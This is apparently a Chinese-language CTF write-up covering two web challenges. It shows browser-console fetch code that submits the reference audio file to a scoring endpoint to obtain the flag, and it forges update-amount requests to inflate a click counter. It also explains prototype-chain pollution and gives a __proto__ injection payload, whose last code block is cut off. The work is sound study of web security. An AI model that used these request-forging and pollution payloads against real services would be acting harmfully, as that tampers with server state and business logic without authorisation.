MiniL
1.麦霸评分
源代码——评分答案到标准即可以获得flag
.jpg)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| fetch('http://127.0.0.1:49439/original.wav') .then(response => response.blob()) .then(originalBlob => { const formData = new FormData(); formData.append('audio', originalBlob, 'recording.wav'); return fetch('/compare-recording', { method: 'POST', body: formData }); }) .then(response => response.json()) .then(data => { console.log("服务器响应:", data); if(data.flag) { alert("恭喜获取flag: " + data.flag); } else { alert("相似度: " + data.similarity + "% - " + data.message); } }) .catch(error => console.error('错误:', error));
|
使用Fetch API向指定URL发起GET请求,获取原始音频文件
1
| .then(response => response.blob())
|
将响应转换为Blob对象(二进制大对象)
(Blob是JavaScript中表示二进制数据的对象,适合处理音频文件)
1 2 3 4
| .then(originalBlob => { const formData = new FormData(); formData.append('audio', originalBlob, 'recording.wav');
|
创建FormData对象(用于模拟HTML表单提交),将音频Blob添加到表单中,命名为”audio”
指定文件名为”recording.wav”(模拟用户录音文件)
1 2 3 4 5 6
| return fetch('/compare-recording', { method: 'POST', body: formData }); })
|
向系统的比较接口发送POST请求,请求体包含我们准备的FormData(即原始音频),这模拟了用户上传录音的过程
1
| .then(response => response.json())
|
将服务器响应解析为JSON格式,服务器通常会返回相似度评分和消息
2.Clickclick
.jpg)
1.修改请求体中的amount值,在控制台执行修改后的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| fetch('/update-amount', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ type: "set", point: { amount: 100000 } }), credentials: 'include' }) .then(response => response.json()) .then(data => { if(data.success) { console.log('成功完成100000次点击!'); } }) .catch(console.error);
|
2.修改前端计数器并触发上报
1 2 3 4 5 6 7 8 9 10 11 12
| const counter = Array.from(document.querySelectorAll('button')) .find(btn => btn.__click).__click[1]; counter(100000);
fetch('/update-amount', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ type: "set", point: { amount: 100000 } }) });
|

第一行是按下1000次,第二行按下10000出现,后台发现每50次发送一次请求,1000后响应错误,提示按钮过快。
前后端分离——原型链污染
每个对象拥有一个原型对象,对象以其原型为模板、从原型继承方法和属性。原型对象也可能拥有原型,并从中继承方法和属性,一层一层、以此类推。这种关系常被称为原型链 (prototype chain)。
当我们访问person的一个属性时,浏览器首先查找person是否有这个属性.如果没有,然后浏览器就会在person的proto中查找这个属性(也就是Person.prototype)。如果Person.prototype有这个属性,那么这个属性就会被使用。否则,如果Person.prototype没有这个属性,浏览器就会去查找Person.prototype的proto,看它是否有这个属性,依次类推。默认情况下,所有类的原型属性的proto都是Object.prototype。
js中,类的所有属性都允许被公开的访问和修改,包括proto,构造函数和原型。可以通过注入其他值来覆盖或污染这些proto,构造函数和原型属性。然后,所有继承了被污染原型的对象都会受到影响。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| async function exploit() { const payload = JSON.stringify({ type: "set", point: { amount: 0, __proto__: { amount: 10000 } } });
try { await fetch('/update-amount', { method: 'POST', headers: { 'Content-Type': 'text/plain' }, body: payload }); }
exploit();
|